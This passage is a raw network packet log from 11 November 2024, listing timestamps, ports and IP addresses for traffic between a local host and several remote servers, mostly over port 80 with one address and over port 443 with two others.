Nov 11, 2024 12:40:28.563196898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563201904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563215017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563218117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563232899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563235044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563246965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563257933 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563262939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563270092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563276052 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563282967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563299894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563304901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563323021 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563323021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563337088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563347101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563352108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563359976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563361883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563373089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563374996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563385963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563395023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563397884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563416004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563421011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563427925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563437939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563441992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563453913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563465118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563476086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563483953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563502073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563502073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563513994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563520908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563524961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563536882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563549995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563561916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563570976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563572884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563585043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563601017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563606977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563611984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563618898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563627005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563638926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563642979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563649893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563661098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563678026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563685894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563703060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563703060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563714027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563720942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563726902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563739061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563750029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563761950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563767910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563772917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563787937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563788891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563801050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563807011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563813925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563824892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563836098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563841105 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563849926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563865900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563882113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563888073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563894033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563896894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563905954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563921928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563925028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563936949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563946962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563956022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563956022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563967943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563978910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563980103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563993931 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.564001083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.564024925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.564030886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.564042091 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.564069986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.568911076 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.568927050 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.568968058 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.568978071 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.569016933 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.569030046 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.569972992 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.569988012 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.570056915 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.570061922 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.570219994 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.571666002 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.571686983 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.571728945 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.571736097 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.571762085 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.571779013 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.572599888 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.572618008 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.572688103 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.572694063 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.572797060 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.573513985 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.573529959 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.573580027 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.573585033 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.573611021 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.573630095 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.593954086 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.593981981 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.594145060 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.594455004 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.594496012 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.594535112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.594547987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.594558001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.594558001 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.594569921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.594579935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.594599009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.594804049 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.594829082 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.594836950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.594892979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.594894886 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595025063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595036983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595050097 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595052958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595058918 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.595072031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595087051 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595105886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595107079 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595123053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595134974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595140934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595148087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595165014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595185995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595218897 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595230103 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.595333099 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595359087 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595371962 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.595421076 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595458031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595468998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595479965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595489025 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595511913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595516920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595525026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595530033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595551968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595556021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595568895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595573902 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595581055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595597029 CET	49887	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595601082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595618010 CET	443	49887	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.595624924 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595720053 CET	49886	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595735073 CET	443	49886	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.595746040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595762014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595773935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595803976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595819950 CET	49885	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595822096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595828056 CET	443	49885	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.595837116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595844984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595854044 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595860004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.595875978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595906973 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.595926046 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.595941067 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.596023083 CET	49883	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.596036911 CET	443	49883	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.596136093 CET	49888	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:28.596148014 CET	443	49888	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:28.626327038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626341105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626353979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626379013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.626405001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.626765966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626785040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626808882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.626842976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.626976013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626986980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.626997948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627041101 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627060890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627078056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627089024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627100945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627100945 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627113104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627123117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627130985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627140045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627152920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627160072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627163887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627170086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627193928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627199888 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627206087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627218008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627273083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627346039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627357960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627367973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627379894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627393007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627398968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627419949 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627420902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627434015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627441883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627444983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627458096 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627466917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627470016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627482891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627494097 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627494097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627506971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627518892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627522945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627542019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627545118 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627552986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627563953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627564907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627578020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627589941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627597094 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627609015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627619982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627624989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627629995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627638102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627650976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627657890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627661943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627675056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627688885 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627692938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627706051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627713919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627717018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627723932 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627734900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627746105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627758026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627759933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627769947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627773046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627784014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627795935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627803087 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627823114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627829075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627835989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627882004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627892971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627903938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627923012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627943039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.627957106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627968073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627981901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.627994061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628002882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628024101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628029108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628037930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628050089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628065109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628089905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628213882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628226995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628238916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628269911 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628298998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628334045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628345966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628356934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628369093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628381968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628401995 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628669024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628680944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628693104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628712893 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628732920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628736019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628746033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628758907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628767014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628772020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628788948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628802061 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628820896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.628870964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.628911018 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.642153025 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.642168999 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.642232895 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.642291069 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.642297983 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.642467976 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.642885923 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.642901897 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.642963886 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.642973900 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.643255949 CET	49872	443	192.168.2.6	13.107.246.40
